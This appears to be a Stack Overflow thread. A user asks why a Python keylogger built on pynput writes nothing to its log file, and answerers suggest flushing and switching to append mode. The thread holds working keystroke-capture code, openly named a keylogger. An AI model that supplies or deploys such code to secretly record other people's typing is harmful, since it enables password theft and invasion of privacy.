0

I am trying to make a keylogger. I am using the pynput library to get the input and then I'm trying to write it into a file. For some reason the file does not change at all. Do you have any idea why this could be?

from pynput.keyboard import Listener

def on_press(key):
    pass

def on_release(key):
    with open("log.txt", "w") as log:
        log.write(str(key))
    print(str(key))

with Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()

Edit: I tried rewriting it based on your suggestions to include log.flush but it still isnt working

from pynput.keyboard import Listener

log = open("log.txt", "w")

def on_press(key):
    log.write(str(key))
    log.flush()

def on_release(key):
    pass

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
Jan Hrubec
  • 59
  • 6
  • Your not closing the file after, meaning you arent saving it. `log.close()` – Thornily May 24 '22 at 19:11
  • I assume it is because the buffer is never filled/closed. Try to call `log.flush()` after `log.write` – DeepSpace May 24 '22 at 19:11
  • @Thornily `with` closes the file. The problem is that the buffer itself is probably never flushed (if `listener.join` is an endless event loop for example) – DeepSpace May 24 '22 at 19:12
  • @DeepSpace Close implies the flush. https://stackoverflow.com/questions/2447143/does-close-imply-flush-in-python – Thornily May 24 '22 at 19:13
  • @Thornily `with` automatically calls `close`. – DeepSpace May 24 '22 at 19:13
  • By the way, it's probably a good idea to remind you that maliciously using a keylogger is illegal and carries heavy punishments in most jurisdictions – Mous May 24 '22 at 21:17

1 Answers1

0

Try to append instead of writing.

from pynput.keyboard import Listener

def on_press(key):
    pass

def on_release(key):
    with open("log.txt", "a") as log:
        log.write(str(key))
    print(str(key))

with Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()
John Giorgio
  • 634
  • 3
  • 10